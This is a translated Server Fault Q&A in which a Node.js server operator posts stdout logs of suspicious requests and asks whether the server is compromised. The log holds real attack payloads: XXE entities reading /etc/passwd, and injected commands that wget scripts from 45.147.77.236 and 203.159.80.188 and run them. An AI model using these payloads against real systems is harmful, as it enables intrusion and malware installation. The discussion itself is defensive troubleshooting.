Ubuntu

我在面向 Internet 的伺服器上執行的 Node.JS 程序正在將不可能的文本列印到標準輸出日誌。我被妥協了嗎?

  • May 7, 2021

(編輯:原來“奇怪的行為”是由一個簡單的疏忽解釋的。把這個問題留在這里以防其他人忽略它)

我希望我問這個問題是對的。

我有一個簡單的 Web 伺服器應用程序設置,它做的很少。它在專用的 Ubuntu 主機上執行。Node 應用程序通過 PM2 執行,而 PM2 通過 NGINX 執行。Apache 通過 NGINX 執行一個單獨的伺服器,其中包含 Web 應用程序的圖片。

我將節點應用程序設置為通過 console.log() 函式將所有帶有時間戳的 URL 請求列印到標準輸出。它還列印“404 Page Returned”返回 404 頁面。PM2 將其保存在日誌中。

像這樣:

Event.Server (2021-05-06T00:24:48+00:00): End of client HTTP request -> /

當我將伺服器上線的那一刻,它每天都充斥著可疑的請求(我假設這是正常的)。這些 URL 顯然旨在利用不當的 URL 處理並嘗試訪問伺服器上的敏感資源。日誌通常如下所示:

Event.Server (2021-05-06T02:17:41+00:00): End of client HTTP request -> /boaform/admin/formLogin?username=admin&psd=admin

404 Page Returned

我伺服器上的所有請求都發送到節點應用程序,該應用程序僅檢查整個 URL 是否與某個文本字元串和一系列 IF 語句匹配,如果不匹配,則返回 404。該應用程序未設置為直接提取資源以任何方式從 URL 獲取,所以我認為這對於這些類型的攻擊/清理是防彈的。

我對網路安全知之甚少,但我認為如果伺服器存在弱點,那肯定是 Apache/NGINX 配置而不是我的 Node 應用程序。

但是,應用程序已開始將奇怪的文本記錄到標準輸出。沒有時間戳。它沒有說“Event.Server”。

(哎呀,事實證明這是不正確的:)我的應用程序不會記錄任何內容,除非有一些其他文本解釋它正在記錄什麼。

然而,現在我發現我的應用程序中到處都有類似這樣的記錄:

0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+wget+http://45.147.77.236/cache+-O+->+/dev/.p;sh+/dev/.p)&ipv=0
0|first    | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfigusername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/su")]=&password=&repeatedPassword=<?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover><?=md5("phpunit")?><?=md5("phpunit")?><?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bin.sh%3B+wget+http%3A%2F%2F203.159.80.188%2Fbin.sh%3B+chmod+777+bin.sh%3B+.%2Fbin.sh%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1<?=md5("phpunit")?>

同樣,這是在我的節點應用程序的標準輸出日誌中;它不是來自其他任何地方。從應用程序的設置方式來看,這對我來說似乎是不可能的,並且讓我相信我的伺服器可能已被入侵。

如果我需要提供其他資訊,我絕對會。

如果這不是發布這個問題的好地方,如果有人在某個地方發表評論,我將非常感激。

我很茫然。我的問題是這樣的:

我可能受到了損害嗎?如果是這樣,我需要做些什麼來保護此伺服器?

看起來有人正在嘗試 XXE 漏洞利用 https://portswigger.net/web-security/xxe

編輯:第 8 行 45.147.77.236 上的 IP 來自伊朗。

最後一行的 IP 來自名聲不好的荷蘭https://www.abuseipdb.com/check/203.159.80.188

如果您不與這些國家打交道,您絕對應該考慮 GeoIP 阻止,並確保您更新您的伺服器,並可能獲得 IPS。

引用自:https://serverfault.com/questions/1062828